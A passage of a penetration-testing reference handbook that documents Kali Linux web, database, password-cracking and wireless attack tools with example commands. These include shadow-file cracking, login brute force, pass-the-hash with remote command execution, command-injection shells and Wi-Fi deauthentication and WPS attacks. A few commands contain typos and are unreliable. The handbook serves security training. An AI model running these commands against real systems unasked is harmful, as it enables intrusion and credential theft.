sqlmap -r request.txt --level 3 --risk 2
```

Loads a raw HTTP request file (e.g., saved from Burp Suite) and tests all parameters at an elevated detection level.

4. WPScan

Description: WPScan is a black-box WordPress vulnerability scanner that enumerates plugins, themes, usernames, and known vulnerabilities against the WPScan Vulnerability Database.

Why We Use It: Used whenever the target is identified as running WordPress, to quickly determine whether installed plugins/themes/core version have known CVEs, and to test for weak credentials.

Expected Outcome: A list of the WordPress version, installed plugins/themes with versions, enumerated usernames, and any matching known vulnerabilities from the database.

Commands by Use Case

Full enumeration scan

```
wpscan --url https://example.com --enumerate p,t,u
```

Enumerates plugins, themes, and usernames on the target WordPress site.

Vulnerability check with an API token

```
wpscan --url https://example.com --api-token YOUR_TOKEN
```

Uses a WPScan Vulnerability Database API token to cross-reference detected components against known CVEs.

Password brute-force against discovered usernames

```
wpscan --url https://example.com --usernames admin --passwords rockyou.txt
```

Attempts to brute-force the login for a known username using a password wordlist.

5. Gobuster

Description: Gobuster is a fast, Go-based tool for brute-forcing URIs (directories/files), DNS subdomains, virtual host names, and S3 buckets using wordlists.

Why We Use It: Used to discover hidden or unlinked directories, files, and subdomains on a web application that aren't visible through normal browsing, often revealing admin panels, backup files, or forgotten endpoints.

Expected Outcome: A list of valid (existing) directories, files, subdomains, or vhosts discovered on the target, each with the HTTP status code returned.

Commands by Use Case

Directory/file brute-force

```
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt
```

Brute-forces common directory and file names against the target URL.

DNS subdomain brute-force

```
gobuster dns -d example.com -w subdomains.txt
```

Attempts to resolve subdomains of the target domain using the supplied wordlist.

Virtual host brute-force

```
gobuster vhost -u https://example.com -w vhosts.txt
```

Finds virtual hosts configured on the target server by varying the Host header.

6. Dirb

Description: Dirb is a classic web content scanner that uses dictionary-based brute forcing to find existing (and possibly hidden) web objects such as directories and files on a target server.

Why We Use It: Used as a simple, reliable content-discovery tool when a lightweight alternative to Gobuster/ffuf is preferred, or when its recursive scanning behavior is specifically wanted.

Expected Outcome: A list of discovered directories and files on the target web server, along with their HTTP response codes.

Commands by Use Case

Basic scan with the default wordlist

```
dirb https://example.com
```

Scans the target using Dirb's built-in common.txt wordlist, recursing into discovered directories.

Scan with a custom wordlist and extensions

```
dirb https://example.com /usr/share/wordlists/dirb/big.txt -X .php,.bak
```

Uses a larger wordlist and appends specified file extensions to each guessed word.

7. ffuf

Description: ffuf (Fuzz Faster U Fool) is a fast web fuzzer written in Go, used for directory/file discovery, parameter fuzzing, virtual host discovery, and general-purpose input fuzzing via a flexible FUZZ keyword.

Why We Use It: Used when high-speed, highly customizable fuzzing is needed — for example fuzzing multiple positions at once (path + parameter), filtering by response size, or fuzzing headers/POST bodies.

Expected Outcome: A filtered list of responses matching (or excluded by) specified criteria, revealing valid endpoints, parameters, or values that were fuzzed.

Commands by Use Case

Directory fuzzing

```
ffuf -u https://example.com/FUZZ -w wordlist.txt
```

Substitutes each wordlist entry into the FUZZ position in the URL and reports valid responses.

Filter out a known false-positive response size

```
ffuf -u https://example.com/FUZZ -w wordlist.txt -fs 4242
```

Excludes responses of a specific size (commonly a generic 'not found' page) to reduce noise.

POST-body parameter fuzzing

```
ffuf -u https://example.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt -fc 401
```

Fuzzes the password field in a POST login request, filtering out HTTP 401 responses to find a valid credential.

8. Wfuzz

Description: Wfuzz is a flexible web application fuzzer supporting fuzzing of URLs, parameters, headers, cookies, and POST data, with baseline-comparison filtering and payload encoders.

Why We Use It: Used for complex fuzzing scenarios requiring encoders (e.g., base64 payloads), multiple simultaneous FUZZ points, or fine-grained filtering by regex/word count in addition to status code.

Expected Outcome: A filtered list of fuzzing results showing which payloads produced anomalous or interesting responses (by size, word count, or status code) versus the baseline.

Commands by Use Case

Basic directory fuzzing

```
wfuzz -c -z file,wordlist.txt --hc 404 https://example.com/FUZZ
```

Fuzzes the URL path, hiding responses with a 404 status code to focus on valid discoveries.

Fuzz a login form and hide a known response size

```
wfuzz -c -z file,users.txt -z file,passwords.txt --hh 1234 -d "user=FUZZ&pass=FUZZ2Z" https://example.com/login
```

Fuzzes both username and password fields simultaneously, hiding a known 'failed login' response size.

9. Commix

Description: Commix (Command Injection Exploiter) is an automated tool for detecting and exploiting command injection vulnerabilities in web applications, testing various injection techniques and shell payload types.

Why We Use It: Used to systematically test application inputs for OS command injection, and if found, to obtain a semi-interactive shell on the vulnerable host.

Expected Outcome: Confirmation of a command injection vulnerability and, if exploitation succeeds, command execution capability (up to a pseudo-shell) on the target server.

Commands by Use Case

Test a URL parameter for command injection

```
commix --url="https://example.com/ping?host=127.0.0.1"
```

Tests the 'host' parameter for various command injection techniques automatically.

Test a request loaded from a file

```
commix --request=request.txt
```

Loads a raw HTTP request (e.g., captured from Burp) and tests all parameters within it for injection.

10. XSSStrike

Description: XSSStrike is an advanced Cross-Site Scripting (XSS) detection suite that uses a fuzzing engine, context analysis, and payload generation (rather than a static payload list) to find and confirm reflected/DOM-based XSS.

Why We Use It: Used to more intelligently detect XSS than a simple payload-list scanner, since it analyzes the reflection context (HTML attribute, script tag, etc.) to craft a payload likely to actually execute.

Expected Outcome: Confirmed XSS injection points along with the working payload and the context in which the input is reflected.

Commands by Use Case

Test a single URL parameter

```
python3 xssstrike.py -u "https://example.com/search?q=test"
```

Fuzzes the 'q' parameter and analyzes reflections to identify and confirm exploitable XSS.

Crawl and test a site for XSS

```
python3 xssstrike.py -u https://example.com --crawl
```

Crawls the target site to discover additional parameters/pages before testing each for XSS.

11. Skipfish

Description: Skipfish is a fast, automated web application security reconnaissance tool that builds an interactive sitemap of the target by performing a recursive crawl and dictionary-based probing, flagging security issues along the way.

Why We Use It: Used when a fast, low-interaction automated crawl-and-scan is needed to get broad coverage of an application's structure and surface-level issues quickly.

Expected Outcome: An interactive HTML sitemap of the application annotated with discovered issues (e.g., XSS, SQLi indicators, directory listing) at each node.

Commands by Use Case

Run a scan against a target

```
skipfish -o skipfish_output https://example.com
```

Crawls and scans the target, writing an interactive HTML report to the specified output directory.

12. Wapiti

Description: Wapiti is a black-box web application vulnerability scanner that crawls pages, injects payloads into forms/URLs, and checks responses for vulnerabilities including SQLi, XSS, SSRF, file inclusion, and CRLF injection.

Why We Use It: Used as a lightweight, scriptable command-line scanner suited to quick automated checks across many vulnerability classes without the overhead of a GUI tool.

Expected Outcome: A vulnerability report (HTML/JSON/XML) listing discovered issues by category, each with the affected URL/parameter and the payload that triggered the finding.

Commands by Use Case

Run a scan with an HTML report

```
wapiti -u https://example.com -f html -o wapiti_report
```

Crawls and tests the target site, saving findings as an HTML report in the given output directory.

Scan only for specific vulnerability modules

```
wapiti -u https://example.com -m sql,xss
```

Limits testing to the SQL injection and XSS modules instead of the full default module set.

13. JoomScan

Description: JoomScan is a vulnerability scanner specifically built for Joomla-based websites, fingerprinting the Joomla version and installed components/extensions and checking them against a vulnerability database.

Why We Use It: Used whenever the target is identified as running Joomla, similarly to how WPScan is used for WordPress, to quickly find outdated or vulnerable components.

Expected Outcome: Identification of the Joomla version, installed extensions, and any known vulnerabilities associated with the detected versions.

Commands by Use Case

Scan a Joomla site

```
joomscan --url https://example.com
```

Fingerprints the Joomla installation and reports known vulnerabilities matching the detected version/components.

14. CMSmap

Description: CMSmap is a Python-based scanner that detects security misconfigurations and vulnerabilities across multiple CMS platforms (WordPress, Joomla, Drupal), consolidating checks into a single tool.

Why We Use It: Used when the CMS platform running on the target isn't yet confirmed, or when a single tool covering multiple CMS types is preferred over separate platform-specific scanners.

Expected Outcome: Identification of the CMS platform/version in use, plus a list of matched vulnerabilities and misconfigurations for that platform.

Commands by Use Case

Auto-detect and scan the CMS

```
cmsmap https://example.com
```

Fingerprints which CMS the site runs and applies the relevant vulnerability checks automatically.

Force a scan against a specific CMS type

```
cmsmap -t D https://example.com
```

Forces Drupal-specific checks against the target instead of relying on auto-detection.

Kali Linux Tools Handbook

Volume 4: Database Assessment

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. SQLNinja	
2. NoSQLMap	
3. jSQL Injection	
4. BBQSQL	
5. HexorBase	
6. Oscanner	
7. tnscmd10g	
8. SQLite Database Browser (DB Browser for SQLite)	

Introduction

This handbook documents the tools found in Kali Linux's Database Assessment category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 4 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. SQLNinja

Description: SQLNinja is an exploitation tool specifically targeting Microsoft SQL Server back-ends reachable through a SQL injection vulnerability, capable of fingerprinting the DB, extracting data, and escalating to OS command execution or a full shell.

Why We Use It: Used once a SQL injection point against a Microsoft SQL Server back-end has been identified, to move from simple injection confirmation to full database/OS-level compromise, including bypassing some outbound-firewall restrictions via DNS/ICMP tunneling.

Expected Outcome: Depending on server configuration, outcomes range from extracted database contents to command execution via `xp_cmdshell`, or a full interactive shell on the underlying Windows host.

Commands by Use Case

Fingerprint the back-end via a config file

```
sqlninja -m t -f sqlninja.conf
```

Runs SQLNinja's fingerprint mode using a pre-configured injection profile (target URL, injectable parameter, HTTP method) to confirm the SQL Server version.

Attempt privilege escalation and shell access

```
sqlninja -m e -f sqlninja.conf
```

Attempts to escalate privileges on the SQL Server and, where possible, spawn an interactive command shell via `xp_cmdshell`.

2. NoSQLMap

Description: NoSQLMap is an automated tool for auditing and exploiting NoSQL databases (primarily MongoDB) and NoSQL-backed web applications, testing for injection, weak authentication, and default configurations.

Why We Use It: Used when the target application uses a NoSQL back-end (commonly MongoDB), since traditional SQL injection tools do not apply and NoSQL-specific injection/misconfiguration techniques are needed.

Expected Outcome: Confirmation of NoSQL injection points, discovery of exposed/unauthenticated database instances, and (where achievable) extracted collection data.

Commands by Use Case

Scan for an exposed MongoDB instance

```
python nosqlmap.py (menu: 'Set options' > enter target IP, then 'NoSQL DB Access Attacks' > scan for open MongoDB)
```

Checks whether a MongoDB instance is exposed without authentication on the target host.

Test a web application for NoSQL injection

```
python nosqlmap.py (menu: 'Set options' > enter target URL, then 'Web App Attacks' > 'PHP MongoDB Attacks')
```

Injects NoSQL-specific payloads into the web application's parameters to test for injection vulnerabilities.

3. jSQL Injection

Description: jSQL Injection is a Java-based graphical tool for detecting and exploiting SQL injection vulnerabilities, supporting multiple database engines (MySQL, Oracle, PostgreSQL, MS SQL, SQLite) with a point-and-click workflow for data extraction.

Why We Use It: Used as a GUI-based alternative to SQLmap when a visual, click-driven interface for exploring database structure and extracting data is preferred, particularly convenient for less command-line-comfortable analysts.

Expected Outcome: Enumerated databases, tables, and columns, with the ability to browse and extract row data directly through the GUI once injection is confirmed.

Commands by Use Case

Test a URL for injection

```
jsql (GUI: enter target URL in the address bar, click the green play button)
```

Automatically tests the URL's parameters for SQL injection and reports the detected database engine.

Browse and extract table data

```
jsql (GUI: once injection confirmed, expand the database tree > select a table > click 'List data')
```

Navigates the discovered database structure visually and extracts the contents of a chosen table.

4. BBQSQL

Description: BBQSQL is a blind SQL injection exploitation framework designed for cases where automated tools like SQLmap fail to detect or exploit a vulnerability, allowing testers to manually define request templates and boolean/time-based comparison logic.

Why We Use It: Used as a fallback when standard blind SQL injection tools can't handle a highly customized or heavily obfuscated injection point, since it lets the tester precisely define how a 'true' vs 'false' response is distinguished.

Expected Outcome: Extracted data from a blind SQL injection point via customized boolean- or time-based inference, in cases where other tools were unsuccessful.

Commands by Use Case

Launch with a query file defining the request

```
bbqsql --sqlmap-config query.config
```

Loads a configuration file specifying the injectable request and comparison logic, then begins the blind extraction process.

5. HexorBase

Description: HexorBase is a database administration and audit application that lets analysts manage and execute queries against multiple database servers (MySQL, PostgreSQL, SQLite, MS SQL, Oracle) simultaneously, and includes a brute-force module for database logins.

Why We Use It: Used for centrally managing access to multiple discovered database servers during an assessment, and for testing database login credentials for weak or default passwords across several database types from one interface.

Expected Outcome: A consolidated view of accessible databases across multiple servers, plus a list of valid credentials found through brute-force testing.

Commands by Use Case

Connect to a discovered database server

```
hexorbase (GUI: Add server > enter host/port/DB type/credentials > Connect)
```

Adds a database server to HexorBase's management panel for browsing and querying.

Brute-force a database login

```
hexorbase (GUI: right-click server > 'Bruteforce' > load user/password wordlists > Start)
```

Attempts to log into the selected database server using combinations from the supplied wordlists.

6. Oscanner

Description: Oscanner is an Oracle database assessment tool that enumerates SIDs, extracts version information, and checks for default/weak account credentials on Oracle listeners.

Why We Use It: Used specifically against Oracle database infrastructure to identify accessible SIDs and test default credential pairs that are historically common on unpatched or poorly hardened Oracle installations.

Expected Outcome: A list of discovered Oracle SIDs, version/patch information, and any accounts found to be using default or weak credentials.

Commands by Use Case

Scan an Oracle listener

```
osscanner -s 192.168.1.50 -P 1521
```

Connects to the Oracle listener on the given host/port and enumerates SIDs and account information.

7. tnscommand10g

Description: tnscommand10g is a Perl script used to send administrative commands directly to an Oracle TNS Listener, which can reveal listener status, version, and configuration information without authentication in many default setups.

Why We Use It: Used to query the Oracle TNS Listener directly, since many Oracle installations leave the listener accessible without a password, exposing configuration details useful for further attack planning.

Expected Outcome: Listener status output including Oracle version, configured services/SIDs, and log/trace file locations, depending on what the listener permits unauthenticated.

Commands by Use Case

Query listener status

```
tnscommand10g status -h 192.168.1.50 -p 1521
```

Sends a STATUS command to the TNS Listener and returns configuration and version details if unauthenticated access is allowed.

Query listener version

```
tnscommand10g version -h 192.168.1.50 -p 1521
```

Requests version information directly from the TNS Listener.

8. SQLite Database Browser (DB Browser for SQLite)

Description: DB Browser for SQLite is a visual tool for creating, browsing, querying, and editing SQLite database files, letting an analyst inspect schema, run SQL queries, and export table data through a GUI.

Why We Use It: Used during an assessment or forensic review when a SQLite database file has been obtained (e.g., from a mobile app, browser history, or extracted application data) and needs to be inspected for sensitive data or structure.

Expected Outcome: A readable view of the SQLite database's schema and contents, allowing the analyst to identify sensitive data (credentials, tokens, PII) stored within the file.

Commands by Use Case

Open and browse a database file

```
sqlitebrowser extracted_app.db
```

Opens the SQLite file in the GUI, allowing the analyst to browse tables and their data.

Run a custom SQL query

```
sqlitebrowser (GUI: 'Execute SQL' tab > type query, e.g. SELECT * FROM users; > Execute)
```

Runs an arbitrary SQL query against the opened database to search for specific data of interest.

Kali Linux Tools Handbook

Volume 5: Password Attacks

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. John the Ripper	
2. Hashcat	
3. Hydra (THC-Hydra).....	
4. Medusa.....	
5. CrackMapExec (CME)	
6. Crunch	
7. CeWL.....	
8. Hash-Identifier / hashid	
9. Ophcrack	
10. RainbowCrack	
11. Patator	

Introduction

This handbook documents the tools found in Kali Linux's Password Attacks category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 5 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. John the Ripper

Description: John the Ripper is a fast, versatile offline password cracker supporting dozens of hash and cipher formats, combining dictionary, brute-force, and rule-based (mangling) attack modes.

Why We Use It: Used to crack password hashes obtained from a system (e.g., /etc/shadow, dumped SAM hashes, or application databases) offline, without generating login traffic against the live system.

Expected Outcome: Recovered plaintext passwords for hashes that match entries in the wordlist (optionally mangling by rules) or that are broken through brute force within the given time.

Commands by Use Case

Crack a Linux shadow file

```
unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt
```

Merges passwd and shadow files into a crackable format, then runs John's default cracking mode against it.

Dictionary attack with a wordlist and rules

```
john --wordlist=rockyou.txt --rules hashes.txt
```

Applies word-mangling rules (e.g., appending numbers, leetspeak substitutions) to each wordlist entry while attempting to crack the hashes.

Show cracked passwords

```
john --show hashes.txt
```

Displays previously cracked passwords stored in John's session/pot file for the given hash file.

2. Hashcat

Description: Hashcat is a GPU-accelerated password recovery tool supporting hundreds of hash algorithms and multiple attack modes (dictionary, combinator, brute-force/mask, rule-based, hybrid), widely regarded as the fastest cracking tool for GPU-equipped systems.

Why We Use It: Used when GPU hardware is available and speed matters, particularly for cracking large hash sets or complex hash types (e.g., NTLM, bcrypt, WPA2 handshakes) where CPU-only cracking would take far longer.

Expected Outcome: Recovered plaintext passwords for cracked hashes, with cracking speed and success rate strongly dependent on GPU power, wordlist quality, and chosen attack mode/mask.

Commands by Use Case

Dictionary attack against NTLM hashes

```
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt
```

Runs a straight dictionary attack (-a 0) against NTLM-format hashes (-m 1000) using the rockyou wordlist.

Mask attack for a known password pattern

```
hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?d?d
```

Brute-forces MD5 hashes using a mask assuming an uppercase letter, four lowercase letters, and two digits — much faster than full brute force when the pattern is known.

Crack a WPA2 handshake

```
hashcat -m 22000 -a 0 capture.hc22000 rockyou.txt
```

Attempts to crack a captured WPA2 handshake (converted to hashcat's 22000 format) using a wordlist.

3. Hydra (THC-Hydra)

Description: Hydra is a fast, parallelized online login cracker supporting dozens of protocols (SSH, FTP, HTTP forms, RDP, SMB, databases, and more), used to brute-force or dictionary-attack live authentication services.

Why We Use It: Used when the target authentication happens over the network (as opposed to an offline hash), to test for weak credentials directly against a live service such as SSH or a web login form.

Expected Outcome: Any valid username/password combinations discovered against the targeted service, along with a log of attempted combinations.

Commands by Use Case

Brute-force SSH login

```
hydra -l admin -P rockyou.txt ssh://192.168.1.10
```

Attempts to log into SSH on the target using a fixed username and each password in the wordlist.

Brute-force a web login form

```
hydra -l admin -P passwords.txt 192.168.1.10 http-post-form  
"/login:user=^USER^&pass=^PASS^:Invalid credentials"
```

Submits POST requests to a login form, using the specified failure string to detect unsuccessful attempts.

Brute-force with a username and password list combo

```
hydra -L users.txt -P passwords.txt ftp://192.168.1.10
```

Tests every combination of usernames and passwords from two separate wordlists against an FTP service.

4. Medusa

Description: Medusa is a speedy, massively parallel, modular login brute-forcer supporting numerous network services (SSH, Telnet, FTP, HTTP, SMB, MySQL, and more), designed with a thread-based architecture for high-speed testing.

Why We Use It: Used as an alternative to Hydra for online credential brute-forcing, particularly when its specific module set, threading model, or output format is preferred for a given engagement.

Expected Outcome: Discovered valid credential pairs for the targeted service, along with detailed per-attempt logging.

Commands by Use Case

Brute-force SSH login

```
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh
```

Tests the given username against every password in the wordlist for the SSH service module.

Brute-force across a host list with parallel threads

```
medusa -H hosts.txt -U users.txt -P passwords.txt -M ftp -t 5
```

Runs the FTP brute-force module against multiple hosts and credential combinations using 5 parallel threads.

5. CrackMapExec (CME)

Description: CrackMapExec is a post-exploitation and Active Directory assessment tool that automates testing of credentials (passwords, hashes, or Kerberos tickets) against many hosts over SMB/WinRM/LDAP/MSSQL simultaneously, and supports command execution once valid credentials are found.

Why We Use It: Used in internal Windows/Active Directory assessments to quickly determine where a known or discovered credential (including pass-the-hash) is valid across an entire network, rather than testing host by host.

Expected Outcome: A list of hosts where the tested credential succeeded (often flagged as local admin), plus optional command execution results on those hosts.

Commands by Use Case

Test a credential across a subnet via SMB

```
crackmapexec smb 192.168.1.0/24 -u admin -p 'Password123'
```

Attempts to authenticate with the given credential against every host in the subnet over SMB, flagging where it succeeds.

Pass-the-hash authentication test

```
crackmapexec smb 192.168.1.0/24 -u admin -H  
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```

Tests an NTLM hash directly (pass-the-hash) instead of a plaintext password across the target range.

Execute a command on hosts with valid credentials

```
crackmapexec smb 192.168.1.0/24 -u admin -p 'Password123' -x 'whoami'
```

Runs the specified command on every host where the credential is confirmed valid with sufficient privileges.

6. Crunch

Description: Crunch is a wordlist-generation tool that creates custom password lists based on specified character sets, minimum/maximum lengths, and patterns, useful for targeted brute-force attacks.

Why We Use It: Used to build a custom wordlist tailored to known password policy constraints or patterns (e.g., known length, known character set, a known partial pattern) rather than relying on a generic list.

Expected Outcome: A generated wordlist file containing all possible combinations matching the specified length and character-set parameters, ready to feed into a cracking tool.

Commands by Use Case

Generate all 6-digit numeric combinations

```
crunch 6 6 0123456789 -o pins.txt
```

Creates every possible 6-digit numeric string (useful for PIN brute-forcing) and saves it to a file.

Generate a list matching a known pattern

```
crunch 8 8 -t Comp@%%^ -o pattern_list.txt
```

Generates 8-character passwords following a specific pattern (fixed prefix plus variable digits/symbol), useful when partial password structure is known.

7. CeWL

Description: CeWL (Custom Word List generator) spiders a target website and builds a wordlist from the words found on its pages, optionally including metadata author names, which is useful for generating a target-specific password dictionary.

Why We Use It: Used to build a wordlist tailored to a specific organization or individual, since real-world passwords often incorporate company names, product names, or terms found on the target's own website.

Expected Outcome: A custom wordlist file of words scraped from the target site, ready for use as input to a password-cracking or brute-force tool.

Commands by Use Case

Generate a wordlist from a site

```
cewl https://example.com -d 2 -m 5 -w custom_wordlist.txt
```

Crawls the site two links deep, keeps words of at least 5 characters, and saves them to a wordlist file.

Include document metadata authors

```
cewl https://example.com -a -w wordlist_with_authors.txt
```

Also extracts author names from metadata in documents found on the site, which often become part of custom wordlists for username/password guessing.

8. Hash-Identifier / hashid

Description: hashid (and the older hash-identifier) analyzes a given hash string and reports the most likely hash algorithm(s) it could be (MD5, SHA1, NTLM, bcrypt, etc.), based on length and format characteristics.

Why We Use It: Used as a first step before attempting to crack an unknown hash, since choosing the wrong algorithm in John/Hashcat wastes time and produces no results.

Expected Outcome: A ranked list of likely hash algorithm types for the given input string, guiding the choice of cracking mode/format.

Commands by Use Case

Identify a single hash

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
```

Analyzes the hash string and lists likely algorithms it could belong to (e.g., MD5).

Identify hashes from a file with Hashcat mode numbers

```
hashid -m hashes.txt
```

Processes multiple hashes from a file and additionally prints the corresponding Hashcat -m mode number for each likely match.

9. Ophcrack

Description: Ophcrack is a Windows password-cracking tool that uses precomputed rainbow tables to crack LM and NTLM hashes very quickly, including a graphical interface for loading hashes directly from a live or offline Windows system.

Why We Use It: Used specifically against Windows LM/NTLM password hashes when rainbow tables are available, offering much faster cracking than brute force for hashes within the table's coverage.

Expected Outcome: Recovered plaintext Windows account passwords for hashes that match entries in the loaded rainbow tables.

Commands by Use Case

Load hashes and crack via the GUI

```
ophcrack (GUI: Load > 'PWDUMP file', select the hash file, then click 'Crack')
```

Loads dumped Windows password hashes and attempts to crack them using the loaded rainbow tables.

Command-line cracking with a specified table

```
ophcrack -d /path/to/tables -f hashes.pwdump
```

Runs the cracking process from the command line, pointing to a local rainbow table directory and the dumped hash file.

10. RainbowCrack

Description: RainbowCrack implements a time-memory trade-off technique using precomputed rainbow tables to crack hashes significantly faster than brute force, at the cost of needing large table files generated (or downloaded) in advance.

Why We Use It: Used when rainbow tables for the target hash type already exist or can be generated, offering a major speed advantage over brute-force cracking for those specific hash types and character sets.

Expected Outcome: Recovered plaintext values for hashes that fall within the coverage of the available rainbow tables.

Commands by Use Case

Generate a rainbow table

```
rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0
```

Generates a rainbow table for MD5 hashes covering lowercase alphanumeric strings of 1–7 characters, per the specified table parameters.

Crack a hash using generated tables

```
rcrack ./tables/*.rt -h 5f4dcc3b5aa765d61d8327deb882cf99
```

Searches the specified rainbow tables for a match to the given hash and prints the recovered plaintext if found.

11. Patator

Description: Patator is a modular, multi-purpose brute-forcing tool written in Python that supports a wide range of modules beyond simple logins, including SSH, FTP, SMTP, DNS forward/reverse lookups, and even zip-file password cracking, avoiding the limitations of regex-based tools.

Why We Use It: Used when a more flexible, script-friendly brute-forcing tool is needed than Hydra/Medusa — particularly useful for less common targets (e.g., brute-forcing a password-protected ZIP or a specific API) or for fine-grained control over success/failure detection logic.

Expected Outcome: Discovered valid credentials or successfully unlocked protected files/services, depending on the module used, with flexible filtering to reduce false positives.

Commands by Use Case

Brute-force SSH

```
patator ssh_login host=192.168.1.10 user=admin password=FILE0 0=passwords.txt
```

Iterates through the password file against the fixed username for the SSH module.

Brute-force a password-protected ZIP file

```
patator unzip_pass zipfile=secret.zip password=FILE0 0=rockyou.txt
```

Attempts to find the correct password for an encrypted ZIP archive using the supplied wordlist.

Kali Linux Tools Handbook

Volume 6: Wireless Attacks

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Aircrack-ng Suite	
2. Kismet.....	
3. Wifite.....	
4. Reaver	
5. Bully.....	
6. Wash	
7. Fern Wifi Cracker.....	
8. PixieWPS.....	
9. MDK4.....	
10. Cowpatty.....	

Introduction

This handbook documents the tools found in Kali Linux's Wireless Attacks category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 6 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Aircrack-ng Suite

Description: Aircrack-ng is a complete suite of tools for assessing Wi-Fi network security, including airmmon-ng (monitor mode setup), airodump-ng (packet capture), aireplay-ng (packet injection/deauth), and aircrack-ng itself (WEP/WPA-PSK key cracking from captured handshakes).

Why We Use It: Used as the foundational toolkit for wireless assessments — from enabling monitor mode and capturing traffic, to forcing handshake captures via deauthentication, to finally cracking the recovered WEP/WPA key offline.

Expected Outcome: A cracked WEP key or WPA/WPA2 pre-shared key (given a captured handshake and a successful dictionary/brute-force attempt), or confirmation that the wordlist used did not contain the key.

Commands by Use Case

Enable monitor mode on a wireless adapter

```
airmon-ng start wlan0
```

Puts the wireless interface into monitor mode (typically renamed wlan0mon) so raw 802.11 frames can be captured.

Capture traffic and handshakes on a target AP

```
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
```

Captures packets on channel 6 for the specified access point, saving them to files prefixed 'capture', including any WPA handshake observed.

Force a client to reconnect (capture handshake)

```
aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
```

Sends deauthentication frames to force connected clients to re-authenticate, which is captured by airodump-ng as a WPA handshake.

Crack a captured WPA handshake

```
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
```

Attempts to recover the WPA pre-shared key from the captured handshake file using the specified wordlist.

2. Kismet

Description: Kismet is a wireless network detector, sniffer, and intrusion detection system that passively identifies 802.11 (Wi-Fi), Bluetooth, and other RF networks and devices, logging SSIDs, clients, and signal information.

Why We Use It: Used for passive wireless reconnaissance and site surveys — mapping out nearby wireless networks and connected clients without transmitting any packets, which is useful both offensively and for detecting rogue access points defensively.

Expected Outcome: A detailed inventory of detected wireless networks (SSIDs, encryption type, channel, signal strength) and associated client devices, viewable through its web-based UI.

Commands by Use Case

Start Kismet on a wireless interface

```
kismet -c wlan0
```

Begins passive capture on the specified interface and starts the local web UI (default at 127.0.0.1:2501) for viewing discovered networks.

Log data for later analysis

```
kismet -c wlan0 --log-prefix survey1
```

Runs a capture session and prefixes all log files with 'survey1' for later review or import into other analysis tools.

3. Wifite

Description: Wifite is an automated wireless auditing tool that wraps Aircrack-ng, Reaver, and other utilities into a single, largely hands-off workflow, automatically targeting nearby networks and attempting WEP, WPA/WPA2 handshake, and WPS attacks in sequence.

Why We Use It: Used when a streamlined, automated approach to wireless auditing is preferred over manually chaining Aircrack-ng commands, particularly useful for testing many nearby networks quickly.

Expected Outcome: For each targeted network, either a cracked key (WEP/WPA), a captured handshake ready for offline cracking, or a report that the attack attempts failed.

Commands by Use Case

Run an automated scan and attack

```
wifite
```

Scans for nearby wireless networks, lets the user select targets, and automatically runs the appropriate attack sequence (WPS, handshake capture, WEP) against each.

Target only WPA networks with a specific wordlist

```
wifite --wpa --dict rockyou.txt
```

Restricts attacks to WPA/WPA2 networks and uses the specified wordlist for any offline cracking attempts.

4. Reaver

Description: Reaver implements a brute-force attack against WPS (Wi-Fi Protected Setup) PINs, exploiting the fact that WPS PINs can be validated in two halves,

drastically reducing the effective keyspace needed to recover the PIN and, from it, the WPA/WPA2 passphrase.

Why We Use It: Used against access points with WPS enabled, since a successful WPS PIN brute-force reveals the WPA/WPA2 passphrase directly, bypassing the need to crack the passphrase itself.

Expected Outcome: The recovered WPS PIN and the associated WPA/WPA2 passphrase for the target access point, assuming WPS is enabled and not rate-limited/locked out.

Commands by Use Case

Brute-force the WPS PIN of a target AP

```
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
```

Begins the WPS PIN brute-force attack against the specified access point with verbose output showing PIN attempts and progress.

5. Bully

Description: Bully is an alternative implementation of the WPS brute-force attack (similar in goal to Reaver) written in C for improved performance and stability, with additional options for handling AP lockout behavior.

Why We Use It: Used as an alternative to Reaver when it stalls or performs poorly against a specific access point's WPS implementation, since different implementations handle edge cases differently.

Expected Outcome: The recovered WPS PIN and WPA/WPA2 passphrase for the target access point, similar to Reaver's outcome.

Commands by Use Case

Attack a target AP's WPS PIN

```
bully wlan0mon -b AA:BB:CC:DD:EE:FF -v 3
```

Launches a WPS brute-force attack against the specified BSSID with a verbose output level of 3 for detailed progress information.

6. Wash

Description: Wash is a companion utility (part of the Reaver package) that scans for and identifies nearby access points with WPS enabled, reporting their WPS version and lock status.

Why We Use It: Used before running Reaver or Bully, to first identify which nearby access points actually have WPS enabled (and not locked out), avoiding wasted time attacking APs that aren't viable WPS targets.

